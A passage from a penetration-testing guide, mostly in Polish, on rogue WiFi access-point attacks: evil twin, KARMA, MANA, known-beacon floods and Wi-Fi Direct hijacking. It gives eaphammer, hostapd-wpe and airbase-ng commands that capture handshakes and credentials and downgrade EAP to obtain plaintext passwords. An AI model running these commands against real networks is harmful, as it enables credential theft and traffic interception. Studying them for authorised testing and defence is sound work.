Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) wobec klienta. Kluczowe punkty to:
- **Trudności w rozróżnieniu**: Urządzenia mają trudności z odróżnieniem legalnych punktów dostępowych od nieautoryzowanych, gdy dzielą tę samą ESSID i typ szyfrowania. Rzeczywiste sieci często używają wielu punktów dostępowych z tą samą ESSID, aby płynnie rozszerzyć zasięg.
- **Roaming klientów i manipulacja połączeniem**: Protokół 802.11 pozwala urządzeniom na przemieszczanie się między punktami dostępowymi w tej samej ESS. Atakujący mogą to wykorzystać, kusząc urządzenie do rozłączenia się z aktualną stacją bazową i połączenia z nieautoryzowaną. Można to osiągnąć, oferując silniejszy sygnał lub zakłócając połączenie z legalnym punktem dostępowym za pomocą metod takich jak pakiety deautoryzacji lub zakłócanie.
- **Wyzwania w realizacji**: Skuteczne przeprowadzenie ataku evil twin w środowiskach z wieloma, dobrze umiejscowionymi punktami dostępowymi może być trudne. Deautoryzacja pojedynczego legalnego punktu dostępowego często skutkuje połączeniem urządzenia z innym legalnym punktem dostępowym, chyba że atakujący może deautoryzować wszystkie pobliskie punkty dostępowe lub strategicznie umieścić nieautoryzowany punkt dostępowy.
Możesz stworzyć bardzo podstawowy Open Evil Twin (bez możliwości routowania ruchu do Internetu) wykonując:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Możesz również stworzyć Evil Twin używając **eaphammer** (zauważ, że aby stworzyć evil twins z eaphammer interfejs **NIE powinien być** w trybie **monitor**):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Lub używając Airgeddon: `Options: 5,6,7,8,9 (w menu ataku Evil Twin).`
![](<../../images/image (1088).png>)
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoS prawdziwego AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoS prawdziwego AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
_Niektóre systemy operacyjne i oprogramowanie antywirusowe ostrzegą użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
### WPA/WPA2 Evil Twin
Możesz stworzyć **Evil Twin używając WPA/2** i jeśli urządzenia są skonfigurowane do łączenia się z tym SSID z WPA/2, będą próbować się połączyć. Tak czy inaczej, **aby zakończyć 4-way-handshake** musisz również **znać** **hasło**, które klient zamierza użyć. Jeśli **nie znasz** go, **połączenie nie zostanie zakończone**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### Enterprise Evil Twin
Aby zrozumieć te ataki, zalecam wcześniejsze przeczytanie krótkiego [wyjaśnienia WPA Enterprise](#wpa-enterprise-mgt).
**Używanie hostapd-wpe**
`hostapd-wpe` potrzebuje pliku **konfiguracyjnego**, aby działać. Aby **zautomatyzować** generowanie tych konfiguracji, możesz użyć [https://github.com/WJDigby/apd_launchpad](https://github.com/WJDigby/apd_launchpad) (pobierz plik python w _/etc/hostapd-wpe/_).
```bash
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
W pliku konfiguracyjnym możesz wybrać wiele różnych rzeczy, takich jak ssid, kanał, pliki użytkowników, cret/key, parametry dh, wersja wpa i autoryzacja...
[**Używanie hostapd-wpe z EAP-TLS, aby umożliwić logowanie za pomocą dowolnego certyfikatu.**](evil-twin-eap-tls.md)
**Używanie EAPHammer**
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Domyślnie, EAPHammer proponuje te metody uwierzytelniania (zauważ GTC jako pierwszą, którą należy spróbować, aby uzyskać hasła w postaci czystego tekstu, a następnie użycie bardziej solidnych metod uwierzytelniania):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
To jest domyślna metodologia, aby uniknąć długich czasów połączenia. Możesz jednak również określić metody uwierzytelniania od najsłabszej do najsilniejszej:
```
--negotiate weakest
```
Or you could also use:
- `--negotiate gtc-downgrade` aby użyć wysoce wydajnej implementacji GTC downgrade (hasła w postaci czystego tekstu)
- `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` aby ręcznie określić oferowane metody (oferowanie tych samych metod autoryzacji w tej samej kolejności, co organizacja, znacznie utrudni wykrycie ataku).
- [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Using Airgeddon**
`Airgeddon` może używać wcześniej wygenerowanych certyfikatów do oferowania autoryzacji EAP w sieciach WPA/WPA2-Enterprise. Fałszywa sieć obniży protokół połączenia do EAP-MD5, aby móc **przechwycić użytkownika i MD5 hasła**. Później atakujący może spróbować złamać hasło.\
`Airgeddon` oferuje możliwość **ciągłego ataku Evil Twin (hałaśliwego)** lub **tylko stworzenia ataku Evil do momentu, gdy ktoś się połączy (cichego).**
![](<../../images/image (936).png>)
### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks
_Ta metoda była testowana w połączeniu PEAP, ale ponieważ odszyfrowuję dowolny tunel TLS, powinna również działać z EAP-TTLS._
W **konfiguracji** _hostapd-wpe_ **zakomentuj** linię, która zawiera _**dh_file**_ (z `dh_file=/etc/hostapd-wpe/certs/dh` na `#dh_file=/etc/hostapd-wpe/certs/dh`)\
To spowoduje, że `hostapd-wpe` **wymieni klucze używając RSA** zamiast DH, więc będziesz mógł **odszyfrować** ruch później **znając prywatny klucz serwera**.
Teraz uruchom **Evil Twin** używając **`hostapd-wpe`** z tą zmodyfikowaną konfiguracją jak zwykle. Uruchom również **`wireshark`** w **interfejsie**, który przeprowadza atak Evil Twin.
Teraz lub później (gdy już przechwyciłeś kilka prób autoryzacji) możesz dodać prywatny klucz RSA do wireshark w: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Dodaj nowy wpis i wypełnij formularz tymi wartościami: **IP address = any** -- **Port = 0** -- **Protocol = data** -- **Key File** (**wybierz swój plik klucza**, aby uniknąć problemów, wybierz plik klucza **bez ochrony hasłem**).
![](<../../images/image (687).png>)
I spójrz na nową **zakładkę "Decrypted TLS"**:
![](<../../images/image (231).png>)
## KARMA, MANA, Loud MANA and Known beacons attack
### ESSID and MAC black/whitelists
Różne typy list filtrów dostępu do mediów (MFACLs) oraz ich odpowiadające tryby i efekty na zachowanie fałszywego punktu dostępu (AP):
1. **MAC-based Whitelist**:
- Fałszywy AP będzie odpowiadał tylko na zapytania probe od urządzeń określonych na liście dozwolonej, pozostając niewidoczny dla wszystkich innych, które nie są wymienione.
2. **MAC-based Blacklist**:
- Fałszywy AP zignoruje zapytania probe od urządzeń na czarnej liście, skutecznie czyniąc fałszywy AP niewidocznym dla tych konkretnych urządzeń.
3. **SSID-based Whitelist**:
- Fałszywy AP będzie odpowiadał na zapytania probe tylko dla określonych ESSID-ów wymienionych na liście dozwolonej, czyniąc go niewidocznym dla urządzeń, których preferencyjne listy sieci (PNL) nie zawierają tych ESSID-ów.
4. **SSID-based Blacklist**:
- Fałszywy AP nie będzie odpowiadał na zapytania probe dla konkretnych ESSID-ów na czarnej liście, czyniąc go niewidocznym dla urządzeń poszukujących tych konkretnych sieci.
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
37:ab:46:7a:9a:7c
c7:36:8c:b2:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```bash
# example ESSID-based MFACL file
name1
name2
name3
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
### KARMA
Ta metoda pozwala **atakującemu na stworzenie złośliwego punktu dostępowego (AP), który odpowiada na wszystkie zapytania probe** od urządzeń próbujących połączyć się z sieciami. Ta technika **oszukuje urządzenia, zmuszając je do połączenia się z AP atakującego** poprzez naśladowanie sieci, których urządzenia szukają. Gdy urządzenie wysyła żądanie połączenia do tego fałszywego AP, nawiązuje połączenie, co prowadzi do błędnego połączenia urządzenia z siecią atakującego.
### MANA
Następnie **urządzenia zaczęły ignorować niesolidne odpowiedzi sieciowe**, co zmniejszyło skuteczność pierwotnego ataku karma. Jednak nowa metoda, znana jako **atak MANA**, została wprowadzona przez Iana de Villiersa i Dominica White'a. Metoda ta polega na tym, że fałszywy AP **przechwytuje Listy Preferowanych Sieci (PNL) z urządzeń, odpowiadając na ich rozgłoszone zapytania probe** nazwami sieci (SSID), które wcześniej były solidne dla tych urządzeń. Ten zaawansowany atak omija zabezpieczenia przed pierwotnym atakiem karma, wykorzystując sposób, w jaki urządzenia zapamiętują i priorytetyzują znane sieci.
Atak MANA działa, monitorując zarówno skierowane, jak i rozgłoszone zapytania probe z urządzeń. W przypadku skierowanych zapytań rejestruje adres MAC urządzenia oraz żądaną nazwę sieci, dodając te informacje do listy. Gdy otrzymane zostanie zapytanie rozgłoszone, AP odpowiada informacjami odpowiadającymi którejkolwiek z sieci na liście urządzenia, zachęcając urządzenie do połączenia się z fałszywym AP.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### Loud MANA
Atak **Loud MANA** to zaawansowana strategia, gdy urządzenia nie używają kierunkowego przeszukiwania lub gdy ich Lista Preferowanych Sieci (PNL) jest nieznana atakującemu. Działa na zasadzie, że **urządzenia w tym samym obszarze prawdopodobnie dzielą niektóre nazwy sieci w swoich PNL**. Zamiast odpowiadać selektywnie, ten atak nadaje odpowiedzi na zapytania dla każdej nazwy sieci (ESSID) znalezionej w połączonych PNL wszystkich obserwowanych urządzeń. To szerokie podejście zwiększa szansę, że urządzenie rozpozna znajomą sieć i spróbuje połączyć się z nieautoryzowanym punktem dostępowym (AP).
```bash
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### Atak znanych beaconów
Gdy **atak Loud MANA** może być niewystarczający, **atak znanych beaconów** przedstawia inne podejście. Ta metoda **brute-forces proces połączenia, symulując AP, który odpowiada na dowolną nazwę sieci, przechodząc przez listę potencjalnych ESSID-ów** pochodzących z listy słów. To symuluje obecność licznych sieci, mając nadzieję na dopasowanie ESSID-u w PNL ofiary, co skłania do próby połączenia z fałszywym AP. Atak można wzmocnić, łącząc go z opcją `--loud`, aby uzyskać bardziej agresywną próbę przechwycenia urządzeń.
Eaphammer zaimplementował ten atak jako atak MANA, w którym wszystkie ESSID-y z listy są ładowane (możesz również połączyć to z `--loud`, aby stworzyć atak Loud MANA + znane beacony):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Atak Znanych Beacon Burst**
Atak **Znanych Beacon Burst** polega na **szybkim nadawaniu ramek beacon dla każdego ESSID wymienionego w pliku**. Tworzy to gęste środowisko fałszywych sieci, znacznie zwiększając prawdopodobieństwo, że urządzenia połączą się z nieautoryzowanym AP, szczególnie w połączeniu z atakiem MANA. Technika ta wykorzystuje szybkość i objętość, aby przytłoczyć mechanizmy wyboru sieci urządzeń.
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
## Wi-Fi Direct
**Wi-Fi Direct** to protokół umożliwiający urządzeniom bezpośrednie łączenie się ze sobą za pomocą Wi-Fi bez potrzeby tradycyjnego punktu dostępowego. Ta funkcjonalność jest zintegrowana w różnych urządzeniach Internetu Rzeczy (IoT), takich jak drukarki i telewizory, ułatwiając bezpośrednią komunikację między urządzeniami. Ciekawą cechą Wi-Fi Direct jest to, że jedno urządzenie pełni rolę punktu dostępowego, znanego jako właściciel grupy, aby zarządzać połączeniem.
Bezpieczeństwo połączeń Wi-Fi Direct jest ustanawiane za pomocą **Wi-Fi Protected Setup (WPS)**, który wspiera kilka metod bezpiecznego parowania, w tym:
- **Push-Button Configuration (PBC)**
- **PIN entry**
- **Near-Field Communication (NFC)**
Metody te, szczególnie wprowadzenie PIN-u, są podatne na te same luki jak WPS w tradycyjnych sieciach Wi-Fi, co czyni je celem dla podobnych wektorów ataków.
### EvilDirect Hijacking
**EvilDirect Hijacking** to atak specyficzny dla Wi-Fi Direct. Odbija koncepcję ataku Evil Twin, ale celuje w połączenia Wi-Fi Direct. W tym scenariuszu atakujący podszywa się pod legalnego właściciela grupy, mając na celu oszukanie urządzeń, aby połączyły się z złośliwym podmiotem. Metoda ta może być realizowana za pomocą narzędzi takich jak `airbase-ng`, określając kanał, ESSID i adres MAC podszywanego urządzenia:
## References
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
{{#include ../../banners/hacktricks-training.md}}